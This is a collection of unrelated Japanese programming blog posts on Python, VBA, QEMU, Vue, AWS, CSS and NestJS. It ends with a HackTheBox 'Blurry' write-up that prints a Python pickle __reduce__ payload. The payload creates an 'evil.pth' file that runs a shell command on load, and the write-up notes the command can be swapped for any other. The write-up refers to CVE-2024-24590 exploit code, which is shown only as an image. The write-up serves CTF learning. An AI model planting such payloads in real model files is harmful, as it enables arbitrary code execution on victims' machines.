次に、以下のコマンドを実行して、pipのバージョンを確認します。

```bash
pip --version
```

これでバージョンが最新のものになっていたら、pipのアップデートは完了です。

## パッケージの再インストール

最後に、requirements.txtを使って、パッケージを再インストールします。

```bash
pip install -r requirements.txt
```

以下のコマンドで、パッケージがインストールされていることを確認します。

```bash
pip list
```

これで、Pythonのアップデートが完了しました。

## 参考文献

[Pythonのアップデート方法 | デジタルトレンドナビ](https://dtnavi.tcdigital.jp/cat_system/language_126/)

[pipでいれたパッケージを一括アップデート - DISTRICT 37](https://dragstar.hatenablog.com/entry/2016/09/02/113243)
vbaで同一フォルダ内のファイルから値を取得する方法

```
Sub GetValuesFromExcelFiles()
    Dim folderPath As String
    Dim fileName As String
    Dim filePath As String
    Dim tableName As String
    Dim wb As Workbook
    Dim ws As Worksheet
    Dim cellValue As String

    ' 対象のフォルダパスを指定してください（例: "C:\path\to\folder\"）
    folderPath = "C:\path\to\folder\"
    
    ' フォルダ内のファイルを検索
    fileName = Dir(folderPath & "テーブル定義書_*.xlsx")
    
    ' ファイルが見つかるまでループ
    Do While fileName <> ""
        ' ファイルのフルパス
        filePath = folderPath & fileName
        
        ' ファイル名からテーブル名を抽出 (例: "テーブル定義書_テーブル名.xlsx" → "テーブル名")
        tableName = Mid(fileName, 8, Len(fileName) - 12)
        
        ' ファイルを開く
        Set wb = Workbooks.Open(filePath)
        
        ' 指定したシートが存在するか確認
        On Error Resume Next
        Set ws = wb.Sheets(tableName)
        On Error GoTo 0
        
        ' シートが存在する場合はセルA1の値を取得してポップアップで表示
        If Not ws Is Nothing Then
            cellValue = ws.Range("A1").Value
            MsgBox "ファイル: " & fileName & vbCrLf & "シート: " & tableName & vbCrLf & "セルA1の値: " & cellValue
        Else
            MsgBox "ファイル: " & fileName & vbCrLf & "シート: " & tableName & "が見つかりません。"
        End If
        
        ' ファイルを閉じる
        wb.Close False
        
        ' 次のファイルを取得
        fileName = Dir
    Loop
End Sub
```
Windowsしか対応していないWifiドングルをLinuxで無理やり使う

# 結論
[qemu](https://www.qemu.org/)を使う

# 確認環境
fedora 40

# 必要なもの
Windows OSのライセンス

# 手順

## ホスト-ゲスト間のIP通信

### tapデバイスの起動
```
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 up
sudo ip addr add 10.0.2.10/24 dev tap0
```

### QEMUの起動

#### USBパススルー(PCIの場合は別途)
lsusbでUSBバスとデバイスを確認
```
$ lsusb
...
Bus 001 Device 018: ID 0411:037d BUFFALO INC. (formerly MelCo., Inc.) 802.11n NIC
...
```

#### Qemuの起動

WindowsをQemuで起動する。
Windows用qcow2の作成は空のqcow2を用意し、
[WindowsのISO](https://www.microsoft.com/ja-jp/software-download/windows11)を指定してcdrom boot、インストールするだけなので詳細は省略

コマンド例
```
sudo qemu-system-x86_64 -M q35,smm=on -smp 2 -m 8G /opt/vdisk/win11.qcow2 -net nic -net tap,ifname=tap0,script=no,downscript=no -net user,smb=/opt/share -enable-kvm -device qemu-xhci -device usb-host,hostbus=1,hostaddr=18
```
必要なのは以下
- tapの指定 `-net tap,ifname=tap0,script=no,downscript=no` 
- USBパススルー `-device qemu-xhci -device usb-host,hostbus=1,hostaddr=18`

ここの`1`と`18`が`Bus 001 Device 018`に該当する。

### Windows側の設定

#### ゲスト-インターネット間
USBパススルーが正常にできていればデバイスマネージャで見える。
ドライバのインストールをWindows内で行う。
インストールが終わればWifi経由でゲストからインターネットにつながるはず。


#### インターネット共有

インターネット共有を行うとLAN側IPが固定されるため、
その回避を行う必要がある。

レジストリエディタを起動し、
HKLM > SYSTEM > CurrentControlSet > services > SharedAccess > Parameters > ScopeAddress
 を`10.0.2.15`に変更する。

コントロールパネル -> ネットワークとインターネット -> アダプターの設定の変更
で Wifiを選択する。
プロパティー -> 共有 ->  ネットワークのほかのユーザーに、このコンピュータ-のインターネット接続をとおしての接続を許可する
にチェックを入れる。


### ホストマシン(Linux)
DNSの設定は各自で
```
$ ping -w1 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=115 time=27.6 ms
```

# PCIの場合
PCIの場合はLinuxのドライバを上書きする必要がある。

lspciで該当のデバイスを確認します。
以降アドレスが`0000:02:00.0`として説明します。
```
$ lspci
...
0000:02:00.0 Network controller: Realtek Semiconductor Co., Ltd. RTL8821CE 802.11ac PCIe Wireless Network Adapter
...
```

```
sudo -i
modprobe vfio-pci
echo vfio-pci > /sys/bus/pci/devices/0000:02:00.0/driver_override
echo 0000:02:00.0 > /sys/bus/pci/drivers_probe
```

qemu起動時にvfio-pciを指定する。
`-device vfio-pci,host=0000:02:00.0`

戻し方
```
sudo -i
echo -n "0000:02:00.0" > /sys/bus/pci/drivers/vfio-pci/unbind
echo "" > /sys/bus/pci/devices/0000:02:00.0/driver_override
echo -n "0000:02:00.0" > /sys/bus/pci/drivers_probe
```
mysql2 (0.5.3) がインストールできなかった時の対処法


##### 下記のコマンドで解決しなかった人受けの記事です
```
$ bundle config --local build.mysql2 "--with-ldflags=-L/usr/local/opt/openssl@3/lib --with-opt-dir=/usr/local/opt/zstd
$ bundle install
```

この方法で解決することも多いですが、私の場合は解決しませんでした。

## 最終的な解決方法

##### 最終的には Ruby の再インストールを行うことで問題が解決しました。


この方法で解決できたので、同じような問題に遭遇した方は試してみてください。

## まとめ

Ruby 2.7.3 で `mysql2` (0.5.3) のインストールに失敗した場合、まずは以下のコマンドを試してみましょう。

```
$ bundle config --local build.mysql2 "--with-ldflags=-L/usr/local/opt/openssl@3/lib --with-opt-dir=/usr/local/opt/zstd
$ bundle install
```

それでもうまくいかない場合、Ruby の再インストールを検討してみてください。私の場合、この方法で問題を解決することができました。
動かして学ぶ！Python FastAPI開発入門を実践してみて引っかかったところをメモ

動かして学ぶ！Python FastAPI開発入門を実践してみて引っかかったところをメモします。

## MySQLコンテナの立ち上げ

リスト11.1を入力後 
ocker-compose upすると以下エラー


`[Server] Could not open the mysql.plugin table. Please perform the MySQL upgrade procedure.`
`mysqld: Table 'mysql.plugin' doesn't exist`

以下コマンドで一旦コンテナの停止＆ボリュームを削除
`docker-compose down -v`

その後

`docker-compose up`
で正常にDBが立ち上がることを確認できた。
【ChatGPT】メモリ機能を利用したショートカットの設定。


　どうも、カーブミラーです。

　今回は、メモリ機能を利用したショートカットの設定についてです。私が考えたわけではありませんので、よろしく😸

:::note info
本記事は、ChatGPT（有料版）
で行なっております。画像は
ありません。　あしからず。
:::
　まずは、
　　ニュース。

　OpenAIが
　　「ChatGPTにおける公平性評価」と
　　　題した論文を発表しました。
　　　　[OpenAIホームページ](https://openai.com/index/evaluating-fairness-in-chatgpt/)

　簡単に言うと、
　　こんな感じ。

　ChatGPTは
　　ユーザーの名前で
　　　返答を変える。

　男性っぽい女性っぽいを
　　判別している。

　それは
　　挨拶に限らず、
　　　回答内容にも影響を
　　　　与えている。

　これは
　　公平性の観点から、
　　　問題にならないか？

　といった感じかな？

　確かに、
　　ChatGPTは
　　　ユーザーの名前だけでなく
　　　　入力される情報から
　　　　　ユーザー情報を集めて
　　　　　　チャットに利用する。

　私は“カーブミラー”なもので
　　どっちかなぁ😸
***
　さて、本題に入ります。

　今回は、
　　メモリ機能を
　　　利用したショートカットの
　　　　設定になります。

　昨日（2024/10/15）の記事にも
　　添付したX-Twitterのポストでは
　　　ショートカットを
　　　　設定していました。
[【ChatGPT】のメモリ機能と「to=bio」について。](https://qiita.com/kabumira/items/c93ca2d6850f0fea657c)

　今日は、
　　そのショートカットに
　　　どんなものを登録しているのか
　　　　ポストしてくださった方が
　　　　　いましたので、
　　　　　　そのご紹介です。

　[テツメモさんポスト](https://x.com/tetumemo/status/1845969682622550455?t=pcPUVJJztscivdRTr-2PUg&s=19)
　　こちらは、
　　　KEITOさんがまとめた
　　　　ChatGPT呪文一覧を
　　　　　もとにしたようです。
　　　　　　[KEITOさんポスト](https://x.com/keitowebai/status/1844572757700509760?t=oQz0LyHhxIvNXVbtQ6x5TA&s=19)

　テツメモさんのポストの
　　ショートカットの一覧を
　　　画像から取り出しました。
```Text:ショートカットキーの一覧
A – コードを完全に出力する  
B – 詳細な説明を提供する  
C – より形式的な文体に変換する  
D – 専門家として100倍詳しく説明する  
E – 英語に翻訳する  
F – よりカジュアルな文体に変換する  
G – ステップバイステップで考えてください  
H – デザイン思考で考えてください  
I – CoT（Chain of Thought）で考えてください  
J – 日本語に翻訳する  
K – 中学生にも理解できるように説明する  
L – すべてのショートカットキーを表示する  
M – 文字起こしする  
N – 次のステップや行動計画を提案する  
O – メタ認知を活用して  
P – この出力を60点とし、100点にするための改善を提案する  
Q – 水平思考で考えてください  
R – テキストの修正や書き直しを提案する  
T – 要約する  
U – 自分の限界を超えて  
V – 視覚化や図表を作成する  
W – SCAMPER法を使って  
X – これは60点です。100点にして下さい  
Y – ここまでの内容をプロンプトにして  
Z – AtoZで考えて  
ZH – ハルシネーションを起こさないでください  
ZC – 抽象化してください  
ZG – 具体化してください  
ZF – 最適な文章フレームワークを利用して書き出して  
ZJ – 小学生レベルの読解力で  
ZS – 最高の生成結果にするにはあなたにどのように指示  
ZY – ヤジを無くして  
ZT – AさんとBさんの会話形式で書き出して  
```

　ショートカットとして
　　登録すれば、
　　　ひと文字ふた文字の入力で
　　　　内部で変換して
　　　　　処理してくれます。

　なお、テツメモさんは
　　続けて、Promptを
　　　出しておられますが、
　　　　これはメモリ機能への登録では
　　　　　ありません。

　　これはセッションの
　　　コンテキストに入れるだけで
　　　　メモリ機能には
　　　　　登録されませんので、
　　　　　　❗ご注意を❗

　　おそらく、
　　　勘違いされたのでしょうね。

　ショートカットを
　　登録されたい方は
　　　昨日の記事の佐藤さんのやり方が
　　　　いいでしょう。

　下記に示します。
***
　登録手順
　❶メモリ機能がONであることを確認
　❷下記Prompt入力
```Text:
to=bio
「to=bio」以外の入力以外は、メモリ、記憶しないでください。
```
　❸送信。もう一度入力して、送信。
　　　（確実に指示したいのでしょう）
　❹下記Prompt入力
```Text:
to=bio
ショートカットキー"r"
文頭に"r"だけ入力されたら、「300文字以内で、体言止めで要約する」を実行してください。
```
　❺送信。

　これで、
　　“r”に「300文字以内で、体言止めで要約する」と
　　　登録されます。

　あとは❹❺を
　　繰り返すだけです。

　“”内と「」内を
　　変更して、登録してくださいね。

　また、
　　きちんとメモリ機能に
　　　登録されたか、
　　　　設定→パーソナライズ→管理で
　　　　　確認すると良いでしょう。

　みなさんの
　　作品制作の糧に
　　　なれば、幸いです。

　今回は、ここまで。
***
　それから
　　昨日の記事で
　　　「to=bio　リストアップ」を
　　　　紹介しましたが、
　　　　　うまく働かないケースが
　　　　　　ありましたので、
　　　　　　　訂正します。

　「to=bio　指示のリストを表示して」
　　としてください。

　申し訳ありませんでした🙇
vbaでファイル出力する方法

```
Sub WriteTextToFileInSameFolder()
    Dim filePath As String
    Dim fileNumber As Integer
    Dim textData As String

    ' マクロを実行したファイルと同じフォルダにファイルパスを指定
    filePath = ThisWorkbook.Path & "\output.txt"
    
    ' 書き込むテキストデータ
    textData = "This is a sample text written to the file in the same folder."

    ' ファイル番号を取得
    fileNumber = FreeFile

    ' ファイルを出力モードで開く（新規作成または上書き）
    Open filePath For Output As fileNumber

    ' ファイルにテキストを書き込む
    Print #fileNumber, textData

    ' ファイルを閉じる
    Close fileNumber

    MsgBox "Text has been written to " & filePath
End Sub
```
windows10でnpmコマンドを使ってvueをインストールするまで

## すべての大本はNode.js
Pythonをインストールすれば、PCでPythonのコードが書けるように、
Node.jsをインストールすればPCでNodeのコードが書けるようになります。
そのNodeのコードというのがjavaScriptになります。
本来はブラウザでしか使えないjavascriptをサーバー側でも使えるようにしたものです。
そのnodeのバージョンを複数管理して、かつそれぞれインストールできるものがnvm。
そのnodeの中に、npmがあります。
さらにそのnpmの中にvueがあります。
なので
nvm > node > npm > vue.js
というような関係になってると認識してます。
よって、まずはnvmです。

## まずはnvmをDL
https://github.com/coreybutler/nvm-windows/releases
こちらのURLの中から、インストールしたいバージョンを選択します。
nvm-setup.exe
というリンクをクリックしてDL後、exeファイルを実行します。
出てきた手順に従ってインストールします。
私はデフォルトのパスにインストールしました。

```nvm -v```
などと入力し、バージョンが表示されればOK

## 次にNode.jsをインストール
nvmの機能として、好きなNode.jsのバージョンをインストールして、状況に応じて簡単に切り替えられるというものがあります。
本来、別にnvmをインストールしてからNodeをインストールしなくても良いのです。
直接公式から特定バージョンのNodeをインストールできます。
ただ、複数PJを並行していて、それぞれ特定のNodeのバージョンじゃないと動かないものというのがたまにあるので、
場合によって切り替えて使えたら便利だな～というときに活躍するのがnvmです。
早速インストールしていきます。
まずは今現在インストールできるNodeのバージョン一覧をチェックします。

```
nvm list available
```

::: note

LTS：安定系
CURRENT：最新版（安定ではない）
動作環境以上のバージョンであれば、安定系が無難
:::


次にVueの公式を見て、動作環境を見ます。
https://ja.vuejs.org/guide/quick-start#creating-a-vue-application

```
コマンドラインに慣れている
Node.js のバージョン 18.3 以上をインストールしている
```
とあるので18.3以上であれば問題なさそうです。

このあたりのコマンドを参考に、インストールしていきます。
https://github.com/coreybutler/nvm-windows?tab=readme-ov-file#usage

nvm install <version>とすれば良さそうです。
versionのところにltsとか指定しても行けそうなので、そちらでやってみました。
```
nvm install lts
```

次に、本当にインストールされているかチェックします。
```
nvm list
```

先ほどインストールしたバージョンがひとつだけ表示されていました。
```
>nvm list

    20.18.0
```

ただ、これだけではまだインストールしただけなので、


```
node -v
```
としてみても何もでないはずです。

「使いたいです！」というオファーを出す必要があります。
```
nvm use バージョン
```
とすることでnodeがインストールされていることを確認しました。

ついでにnpmもインストールされています。
```
npm -v
```

まずはNode.js、及びnpmのインストールが完了です。

## Vue.jsをインストール
こちらを参考にやっていきます。

https://ja.vuejs.org/guide/quick-start

プロジェクトを作成したいフォルダに移動して、以下。
```
npm create vue@latest
```

色々設定を入力した後（こちらは必要に応じて）
```
cd <your-project-name> // package.jsonというファイルがあるのでそこに移動
npm install // package.jsonの中のパッケージを全部インストール
npm run dev // package.jsonの中のscriptsセクションの"dev"の中に書かれているコマンドを実行
```

色んな文字が出てきますが
```
http://localhost:5173/
```
とあるので、自分のローカルの5173ポートでvueをホスティングしているはず。
ブラウザでアクセスしてみると、スタート画面が表示されました。



![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3851119/c64b47e6-0aec-fa40-5128-118b3403e454.png)

## ミッションコンプリート
今回は無事任務完了です。
それぞれのコマンドやインストールしたものがどんな意味を持っていてどういう関係性なのか、を考えながらやったことで、次は何も見なくてもいけそうです。
【合格体験記】AWS Certified Data Engineer - Associate(DEA)

## はじめに
先日、AWS Certified Data Engineer - Associateに合格しました。
こちらの記事では、合格までの勉強法や試験のポイントをお伝えできればと思います。

## AWS Certified Data Engineer - Associateとは
公式によると以下の説明があります。
> AWS Certified Data Engineer - Associate は、コアデータ関連の AWS サービスに関するスキルと知識や、データの取り込みと変換、プログラミングの概念を適用しながらのデータパイプラインのオーケストレート、データモデルの設計、データライフサイクルの管理、データ品質の確保といった能力を検証します。

また、以下のAWSの知識を有している必要ありと試験ガイドに記載がありました。
>- AWS サービスを使用して、この試験ガイドの「はじめに」セクションに記載 されているタスクを実行する方法 
>- データパイプラインの一部であるすべてのデータの暗号化、ガバナンス、保護、ログ記録のための AWS サービスについての理解 
>- AWS のサービスを比較して、サービス間における、コスト、パフォーマンス、機能の違いを理解する能力
>- SQL クエリを構造化する方法と AWS サービスで SQL クエリを実行する方法
>- AWS サービスを使用してデータを分析し、データ品質を検証し、データの 一貫性を確保する方法についての理解 

※試験ガイドの詳細は[コチラ](https://d1.awsstatic.com/ja_JP/training-and-certification/docs-data-engineer-associate/AWS-Certified-Data-Engineer-Associate_Exam-Guide.pdf "AWS Certified Data Engineer - Associate (DEA-C01) 試験ガイド")

## 試験の難易度(体感)
アソシエイトの中では難しめに感じました。
データのETLやBIツールの利用があまり業務で少ない事も影響してるかと思いますが、
アソシエイトの試験難易度を表すとこんな感じです。

DVA < SAA < DEA << SOA

## 勉強方法
1. **試験ガイドを眺める**
対象となるサービスを何となく把握する事から始めました。
これまでの試験や業務の経験から既に知っているサービスも勿論ありますが、
この段階では知らないサービスについて概要を理解するところがポイントかと思います。
※完璧に把握する必要はないので、少し調べてみる程度で良い

2. **Skill Builderで模擬試験を解く**
無料で提供されているDEAの[模擬試験](https://explore.skillbuilder.aws/learn/course/18145/Exam%2520Prep%2520Official%2520Practice%2520Question%2520Set%253A%2520AWS%2520Certified%2520Data%2520Engineer%2520-%2520Associate%2520%28DEA-C01%2520-%2520Japanese%29)を解いてみます。
解説が丁寧に記載されているので、間違った問題を繰り返し理解できるまで解きました。
最終的に満点を連続で5回取れるまで筆者は行いました。
3. **Udemyの演習問題を解く**
有料にはなりますが、購入して試験問題の数をたくさん解いていた方が良いです。
筆者の場合は65問✖️2セットの演習問題が提供される講座を購入しました。
項番2と同じにはなりますが、間違った問題の解説を良く読み理解するまで何回も解き直しました。
※購入した講座は[コチラ](https://www.udemy.com/course/aws-certified-data-engineer-associatedea-c01/?couponCode=KEEPLEARNING)
## 結果
合格ライン720点に対して、753点で合格できました。
思ってたよりギリギリだったので、恐らく2択にまで絞った問題を結構外してたのかと推察します。

## 振り返り
勉強期間としては約1ヶ月半で時間は30時間程度でした。
演習問題を解く際に、正解の選択肢の解説を重点的に覚えようとして不正解の選択肢はそこまで中身を理解しようとしてなかったので、その辺が更なる加点のポイントと思います。

## 最後に
これでAWS認定資格は5つめとなりました。
目標の全冠達成まであと5つです。残すはSpecialtyとProfessionalなので、今年度中にあと2つくらい取得しておきたいです。
Google ColabからVSCodeへの移行手順

## はじめに

:::note warn
本記事は Peplexity.ai を使用して作成しました。
修正点があれば, 随時修正いたします。
:::

## 要点

- **環境の違い**: Colabとローカル環境の違いを理解し、適切に対応する
- **ライブラリ管理**: 必要なライブラリとバージョンを正確に把握し、ローカルにインストールする
- **ファイル形式**: .ipynbファイルを.pyファイルに変換するか、Jupyter Notebook形式で扱う
- **パス修正**: ファイルパスや相対パスをローカル環境に合わせて修正する
- **GPU対応**: GPU使用コードがある場合、CPU用に修正するか代替手段を検討する
- **テストと確認**: 移行後、すべての機能が正常に動作するか十分にテストする

## 注意点

- Colabの環境とローカル環境の違いに注意する
- 必要なライブラリのバージョンを合わせる
- ファイルパスの違いに気をつける
- GPUを使用している場合は代替手段を検討する

## 手順

1. Colabプロジェクトのダウンロード
   - ファイル > ダウンロード > .ipynbファイルをダウンロード
   
2. 環境の確認
   - Colabで使用しているPythonバージョンを確認
   - 使用しているライブラリとバージョンを確認
   
3. ローカル環境の準備
   - 同じバージョンのPythonをインストール
   - 仮想環境を作成し、必要なライブラリをインストール
   
4. VSCodeの設定
   - Python拡張機能をインストール
   - Jupyter拡張機能をインストール
   
5. プロジェクトの変換
   - .ipynbファイルを.pyファイルに変換
   - または、Jupyter Notebookとして開く
   
6. パスの修正
   - ファイルパスや相対パスを適切に修正
   
7. 依存関係の解決
   - 必要なライブラリがすべてインストールされているか確認
   - requirements.txtファイルの作成を検討
   
8. GPUコードの修正
   - GPU使用部分をCPU用に修正するか、ローカルGPU環境を準備
   
9. テストと動作確認
   - すべての機能が正常に動作するか確認
   
10. バージョン管理の導入
    - Gitなどのバージョン管理システムの使用を検討
CSS設計について整理してみる①　～なぜCSS設計が必要になったのか～

# 本シリーズについて
こちらの「CSS設計について整理してみる」シリーズは、完結できるかわかりませんが、少しずつ進められたらと思っております！（私個人の備忘録的な内容です）

内容は、「CSS設計完全ガイド（半田惇志 著）」の内容をもとに執筆させていただいております！（詳細や、筆者が伝えたい正確な内容については書籍を読んでいただけるとよいかと思います。）

https://gihyo.jp/book/2020/978-4-297-11173-1

では参りましょう。

# なぜCSS設計が必要なのか
HTMLやXMLでの文書構造の中にスタイリングが当てられており、文書（HTMLやXML）とスタイルが混在しているのは、好ましくなく、また管理も大変であるということからCSSが提唱されたそうです。

例）CSSが使用される前の例
```html
<font size="4" color="red">こちらはCSSが使用される前のスタイルの当て方です。</font>
```

このようなスタイルをあてると、スタイルを変更したい際には一つずつ修正する必要があるので大変ですよね...

今となっては、

```css
p {
    font-size: 18px;
}
```
と指定すれば読み込んでいるすべてのページでこのスタイルが適用されるので、便利というわけです。

しかし、便利なCSSですが「グローバルスコープ」という点に大きな問題があります。

# グローバルスコープについて

グローバルスコープとは、どの位置からもアクセス可能な範囲のことをいいます。
つまり、ファイルを分けたからといってスタイルが独立するのではなく、互いに干渉し合う可能性があるわけです。

そうなると小規模なサイトなどではあまり問題にならないですが、大規模なサイトや、今後ページ数が増えた場合に、スタイルの打ち消しなどをする必要が出てきたりしてしまいます。

開発を始める前にきちんと設計をしておかないと、上記の問題以外に加え、管理が大変になっていくということです。

CSS設計がきちんとされていない場合、一つの小さな修正をしたいだけのはずなのに、他のページへの影響範囲も考えて慎重にやらなければいけない状態にもなりかねません😣

※CMSから吐き出される独自のクラス名などを優先的にスタイルを当てる必要があるので、そういう場合は臨機応変な対応が求められる。

また、余談ですがCSSセレクターの当て方によっても**読み込み速度に影響**が出るそうなので、そういう意味でもCSS設計は重要と言えます。

CSSは非常に便利な一方で、その便利さが大きな弱点でもあるということになってしまったようです（泣）
そこで、登場したのが**CSS設計**というわけです！

# CSS設計の共通事項
CSS設計には様々なものがありますが、それぞれに共通して言えることは、

:::note info
- 抽象化する
- 分ける
:::

の２点だといいます。

「抽象化」とは共通できる部分はないかとひとつにまとめる作業のことで、「分ける」はファイルや役割、名前などを分ける作業をいいます。

# 今回のまとめ
CSSが提唱された当初はそこまで想定されていなかった便利さが、Webページの複雑化によってデメリットとなってしまい、それを克服するためにCSS設計が誕生したということでした。
そして、CSS設計には様々なものがありますが、それぞれに共通するものとして、**抽象化する**と**分ける**の２つがあるということでした。

# 参考図書

https://gihyo.jp/book/2020/978-4-297-11173-1
DD OS 確認コマンド（未完成、未検証）

神に感謝する
https://blogs.networld.co.jp/entry/data-domain-----80b9

net get hostname

net aggregate show

net failover show

#-- ルートテーブル

net route show table

net show all

net show config

net show hardware

net show hostname

net show settings

net troubleshuotting duplicate-ip

net hosts show

#-- OSバージョン、シリアル、モデル

general info

#-- ライセンス

software configuration

#-- DDブーストステータス

ddboost information

#-- ディスク一覧

disk show hardware

#-- IPMI バージョン、ユーザ

ipmi show hardware

#-- MTREE 一覧

mtree list

#-- CIFS 共有フォルダ一覧

cifs shares

#-- NFS エクスポート

nfs export show detailed-stats

#-- 仮想テープライブラリ

vtl configurataion

vtl groups configurataion


auto support show
CollectionのCollectionを網羅したい

# 0. はじめに
*24.10.16追記
本家の`SelectMany`で対応可能でした。(@htsignさんありがとうございます)
ですので、以下は読まなくても良いですが、自戒を込めて晒したままにしておきます
追記 終わり*

[Freeradical](https://www.freeradical.jp)の中の人、[yamarah](https://qiita.com/yamarah)です。
CollectionのCollectionを網羅したいときってないですか? という話です。
ソースの1つの連続した列挙を、受け取り時に複数のコレクションに分割登録したけど、何らかの理由で全部のデータを舐めたいことが、たまによくある。

# 1. 状況例
```C#
public class Shop
{
    public List<string> Items = [];
}
```
があって、
```C#
List<Shop> shops;
```
に含まれる`Item`を連続的に処理したい。
例えばある`Item`が、どの`Shop`にも含まれないことを検証する場合とか。
LINQを使って普通に書くと、こんな感じ。
```C#
var exist = shops.shops(x => x.Items).Any(x => x.Contains("ずんだもち"));
```
`Any`と`Contains`が被っているのに、ちょっとモヤっとします。
`Contains`を`Any`で書き換えると、モヤモヤがはっきりと見えます。
```C#
var exist = shops.Select(x => x.Items).Any(x => x.Any(x => x == "ずんだもち")))
```
こうではなく、一つながりの列挙として処理したいという欲求があります。

# 2. 作ってみた
```C#
public static class LinqPlus
{
    public static IEnumerable<TResult> Expand<TResult>(this IEnumerable<IEnumerable<TResult>> source)
    {
        foreach (var collection in source)
        {
            foreach (var item in collection)
            {
                yield return item;
            }
        }
    }
}
```
これで、
```C#
var exist = shops.Select(x => x.Items).Expand().Contains("ずんだもち")
```
と書けてスッキリ!
名前は`Concat`でも良いのかもしれないけど、本家と混乱しそうなので仮に`Expand`としました。

# 3. 懸念
ひょっとして、私が知らないだけで本家に同機能の拡張メソッドがあったりしないですよね・・・
LeetCodeを1日1題解いてみる (day5)

5日目に取り組んだ問題はこちら！

# 26. Remove Duplicates from Sorted Array

https://leetcode.com/problems/remove-duplicates-from-sorted-array/

## 問題文
Given an integer array nums sorted in non-decreasing order, remove the duplicates in-place such that each unique element appears only once. The relative order of the elements should be kept the same. Then return the number of unique elements in nums.

Consider the number of unique elements of nums to be k, to get accepted, you need to do the following things:

Change the array nums such that the first k elements of nums contain the unique elements in the order they were present in nums initially. The remaining elements of nums are not important as well as the size of nums.


## 僕の回答

```py
class Solution:
    def removeDuplicates(self, nums: List[int]) -> int:
        k = 0
        for n in nums:
            if nums.count(n) == 1:
                k += 1
                continue
            else:
                k += 1
                for _ in range(1, nums.count(n)):
                    nums.remove(n)
        return k
```

## より効率の良い回答例

```py
class Solution:
    def removeDuplicates(self, nums: List[int]) -> int:
        j = 1
        for i in range(1,len(nums)):
            if(nums[i] != nums[i-1]):
                nums[j] = nums[i]
                j += 1
        return j
        
```

### 次回はこちら!
https://qiita.com/h_y_s_d/items/8a6cdc98198fbacfefa2
NestJSのルーティングでハマらないために：静的パスと動的パスの順序に気をつけよう

## はじめに
NestJS(express.js)のルーティングにおいて、静的パスと動的パスの定義順序がアプリケーションの動作に重大な影響を与えることがあります。この順序を理解して正しく設定することで、予期しないルーティングエラーを回避することが可能です。本記事では、NestJSにおけるルーティングの基本から、静的パスと動的パスの定義順序に関する具体的な問題点とその解決策までを紹介します。

## 1. NestJSのルーティングの基本
NestJSでは、コントローラとHTTPメソッドデコレータを使用してルーティングを定義します。`@Controller` デコレータはクラスをコントローラとして定義し、`@Get`、`@Post` などのHTTPメソッドデコレータが特定のルートに対応するメソッドを指定します。

### コード例
以下の例では、`/users` に関連するルーティングを設定しています。
```typescript
    import { Controller, Get } from '@nestjs/common';

    @Controller('users')
    export class UsersController {
      @Get('profile')
      getUserProfile() {
        return 'User profile details';
      }

      @Get(':id')
      getUserById() {
        return 'User details by ID';
      }
    }
```
上記では、`/users/profile` と `/users/:id` の2つのルートが定義されています。この順序を正しく設定することが、ルーティングエラーを防ぐ鍵になります。

## 2. 静的パスと動的パスの違い
NestJSのルーティングでは、静的パスと動的パスを正しく理解することが重要です。

- **静的パス**: 固定された文字列を含むルートです。例: `/users/profile`
- **動的パス**: URLの一部がパラメータとして定義されているルートです。例: `/users/:id`

この2つのルートをどう定義するかによって、リクエストがどのメソッドにマッチするかが決まります。

## 3. ルーティング順序の問題とは？
NestJSでは、ルーティングは定義された順序で評価されます。そのため、静的パスと動的パスの順序を誤ると予期しない動作が発生する可能性があります。

### 問題の例
次のコードでは、動的パスが静的パスより先に定義されています。
```typescript
    @Get(':id')
    getUserById() {
      return 'User details by ID';
    }

    @Get('profile')
    getUserProfile() {
      return 'User profile details';
    }
```
この場合、`GET /users/profile` のリクエストは `:id` パラメータとして解釈され、「profile」がIDとして扱われてしまいます。その結果、`getUserProfile` メソッドは実行されず、`404エラー` または予期しないレスポンスが返ることになります。


## 4. 正しい順序でルートを定義する方法
ルーティングの順序を正しく設定するためには、静的パスを動的パスの前に定義する必要があります。こうすることで、特定の静的ルートがまず評価され、動的ルートがそれに続くようになります。

### 修正後のコード例
```typescript
    @Get('profile')
    getUserProfile() {
      return 'User profile details';
    }

    @Get(':id')
    getUserById() {
      return 'User details by ID';
    }
```
この修正により、`GET /users/profile` は `getUserProfile` メソッドにマッチし、`GET /users/:id` はそれ以外の動的なリクエストに対応します。



## まとめ
NestJSのルーティングでは、静的パスと動的パスの順序が非常に重要です。静的パスを動的パスより先に定義することで、予期しないエラーを防ぐことができます。この記事で紹介したルーティングを参考に効果的に管理し、より安定したNestJSアプリケーションを構築しましょう。下記に実際にルーティングの問題によりエラーが起きた事例を載せておくので、参考にしてください。


*↓実際に問題が発生したケース

https://github.com/nestjs/nest/issues/1667

https://stackoverflow.com/questions/32603818/order-of-router-precedence-in-express-js
HackTheBox/Blurryで学んだPythonの脆弱性

### HackTheBox/Blurry
今回はBlurryです。名前の由来はclearMLに対抗しているからでしょうか。:dark_sunglasses:
主な流れはclearMLの脆弱性にCVE-2024-24590を実行して侵入し、そこからの権限昇格でrootになるというものです。
おそらくこのMachineでは、reduceメソッドを使ったPythonの脆弱性を学ばせたい意図があるのではないでしょうか。随所でreduceメソッドを見つけます。
![Blurry.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3894629/28e12c62-fcfd-0b3f-326b-e7eab6b6f162.jpeg)

### pickle
Pythonの組み込みモジュールで、Pythonオブジェクトをバイトストリームに直列化（シリアライズ）したり、バイトストリームからオブジェクトに復元（デシリアライズ）したりするために使用されます。
シリアライズすることで、データの永続化、転送が可能になります。

そこでreduceメソッドが脆弱性になり得るということです。

### reduceメソッド
要するにシリアライズされたpickleがデシリアライズされる際にreduceメソッドが任意のオブジェクトを実行するとのことです。
ネットで拾ってきたコードですが
```bash
import torch
import os

class Payload:
    def __reduce__(self):
        return (os.system, ("whoami",))

evil = Payload()
torch.save(evil, 'evil.pth')
```
これが基本形のようです。

これをpythonで実行するとevil.pthという名前のシリアライズされたファイルが生成されます。それがデシリアライズされた際に"whoami"が実行されるようです。つまり、"whoami"の部分を書き換えれば任意のコマンドが実行できます。

### CVE-2024-24590
いつものごとくネットで見つけた複数の記事を参考に攻略を進めていきます。
これは、とあるサイトから拾ってきたCVE-2024-24590のコードです。```ClearML exploit```で検索すると出てきます。
![CVE-2024-24590-1.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3894629/6ecccb14-1355-62f9-f6a1-81d8f5db9160.png)

